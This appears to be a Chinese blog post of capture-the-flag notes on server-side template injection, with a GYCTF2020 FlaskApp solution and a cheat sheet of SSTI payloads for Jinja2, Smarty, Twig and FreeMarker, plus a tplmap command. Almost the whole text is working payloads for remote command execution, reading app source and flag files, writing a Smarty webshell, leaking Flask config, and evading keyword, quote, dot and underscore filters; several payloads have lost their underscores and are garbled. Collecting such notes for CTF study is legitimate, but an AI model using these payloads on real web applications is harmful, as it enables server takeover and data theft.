开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第12天,点击查看活动详情
0x4、SSTI
php常见模板 smarty twig
例题 [GYCTF2020]FlaskApp
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
一、常用的ssti的payload
要一下子弄清原理还是有困难呀,我还是想抄记一波(当然可能会被ban)。
- Smarty拿取webshell
- {Smarty_Internal_Write_File::writeFile(_GET['cmd']); ?>",self::clearConfig())}
- Twig 命令执行
- {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- freeMarker
- <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
- python
- {% for c in [].class.base.subclasses() %}
{% if c.name=='_IterationGuard' %}
{{ c.init.globals['builtins']'eval' }}
{% endif %}
{% endfor %} - {% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{{ b'eval' }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
- Jinjia2模板引擎通用的RCE Payload:
- {% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('').read()") }}{% endif %}{% endfor %}
- python2
-
读
{{ ''.class.mro[2].subclasses()40.read() }}写
{{ ''.class.mro[2].subclasses()40.write('test') }}
####执行命令
''.class.mro[2].subclasses()[59].init.globals.builtins
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.class.mro[2].subclasses()[59].init.globals['builtins']'eval'
''.class.mro[2].subclasses()[59].init.globals.builtins.eval("import('os').popen('id').read()")
#import
''.class.mro[2].subclasses()[59].init.globals.builtins.import('os').popen('id').read()
''.class.mro[2].subclasses()[59].init.globals['builtins']'import'.popen('id').read()
- python3
-
#命令执行:
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('filename', 'r').read() }}{% endif %}{% endfor %}
####在本地python中测试
这里的subclass为了找和os相关的 code IncrementDecoder
().class.bases[0].subclasses()[-4].init.globals'system'().class.bases[0].subclasses()[93].init.globals["sys"].modules["os"].system("ls")
''.class.mro[1].subclasses()[104].init.globals["sys"].modules["os"].system("ls")
[].class.base.subclasses()[127].init.globals'system'
builtins.dict'impo'+'rt'.system('ls')s="".class.mro[-1].subclasses()[80].init.globals['builtins']"import".system("ls")
().class.bases[0].subclasses()[-1].init.globals['buil'+'tins']'impo'+'rt'.system('ls') python2
{{"".class.mro[-1].subclasses()[10000].init.globals['builtins']'impo'+'rt'.system('ls')}}# 这里有一个bug直接输入一个很大的数就行
{{a.init.globals['builtins']'impo'+'rt'.system('ls')}} 误会先
{{a.init.globals['builtins']'impo'+'rt'.popen('ls').read()}}
#{{a.init.globals['builtins'].eval("import")}}
如果题目过滤了引号就用以下方式
request.args.x1 get传参
request.values.x1 post,get传参
request.cookies.x1 cookie传参
eg :
{{a.init.globals[request.cookies.x1]request.cookies.x2.popen(request.cookies.x4).read()}}Cookie: x1=builtins;x2=import;x3=os;x4=ls
如果题目过滤了.
可以用|attr()如果题目过滤了中括号[]
可以用__getitem__
getattribute
{%print(x.init.globals['bui''ltins']'imp''ort'.getattribute('pop''en')('ls').read())%}{{a.init.globals.getitem(request.cookies.x1).getitem(request.cookies.x2)(request.cookies.x3).popen(request.cookies.x4).read()}}
Cookie: x1=builtins;x2=import;x3=os;x4=ls如果题目过滤了_下划线
{{(x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)}}&x1=init&x2=globals&x3=getitem&x4=builtins&x5=import("os").popen("ls").read()
等价于
(x.init.globals.getitem)("builtins").eval('import("os").popen("ls").read()')如果题目过滤了{{
{%print(x.init.globals['bui''ltins']'imp''ort'.getattribute('pop''en')('ls').read())%}用这个for循环找有用的函数
s="".class.mro[-1].subclasses()
for i in s:
try:
i.init.globals['builtins']
print(i,s.index(i))
except:
pass -
- 添加一个flask的命令执行payload:
- 就是拆分关键词进行绕过
- {% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('impor'+'t'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
flask 获得app.config中的flag
{{url_for.globals['current_app'].config}}
{{get_flashed_messages.globals['current_app'].config}}
二、tplmap工具
./tplmap.py -u "0c8c7410-6f8c-4ce0-ae98-aa1760bc2dfd.node4.buuoj.cn:81/" --cookie {'user':'a'} --level 5 --engine twig